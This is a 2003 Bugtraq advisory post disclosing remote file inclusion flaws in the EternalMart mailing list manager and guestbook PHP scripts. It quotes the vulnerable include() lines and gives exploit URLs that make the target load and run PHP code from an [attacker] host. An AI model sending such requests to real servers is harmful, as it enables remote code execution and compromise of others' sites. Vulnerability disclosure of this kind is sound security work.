bugtraq - EMML, EMGB : Include() hole

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <Law15-F241hbhSpk6bc0000709d@hotmail.com>
Date: Sat, 04 Oct 2003 16:39:27 +0200
From: "Frog Man" <leseulfrog@...mail.com>
To: vulnwatch@...nwatch.org, bugtraq@...urityfocus.com
Subject: EMML, EMGB : Include() hole


Informations :
°°°°°°°°°°°°°
Language : PHP
-------------------------------------------------
Produit : EMML (EternalMart Mailing List Manager)
Version : 1.32
-------------------------------------------------
Produit : EMGB (EternalMart Guestbook)
Version : 1.1
-------------------------------------------------

Website : http://www.eternalmart.com
Problem : Include Files


PHP Code/Location :
°°°°°°°°°°°°°°°°°°°

EMML :

email_email_func.php :
--------------------------------------------------
   include("$emml_path/class.html.mime.mail.php");
--------------------------------------------------


/admin/auth.php :
--------------------------------------------
  include("$emml_admin_path/auth_func.php");
--------------------------------------------


EMGB :

/admin/auth.php :

--------------------------------------------
  include("$emgb_admin_path/auth_func.php");
--------------------------------------------


Exploits :
°°°°°°°°

EMML :
- http://[target]/admin/auth.php?emml_admin_path=http://[attacker] will 
include the file :
http://[attacker]/auth_func.php

- http://[target]/emml_email_func.php?emml_path=http://[attacker] will 
include the file :
http://[attacker]/class.html.mime.mail.php

EMGB :

- http://[target]/admin/auth.php?emgb_admin_path=http://[attacker] will 
include the file :
http://[attacker]/auth_func.php


More Details/Solution :
°°°°°°°°°°°°°°°°°°°°°
A patch and more details can be found on http://www.phpsecure.info .


frog-m@n

_________________________________________________________________
Hotmail: votre e-mail gratuit ! http://www.fr.msn.be/hotmail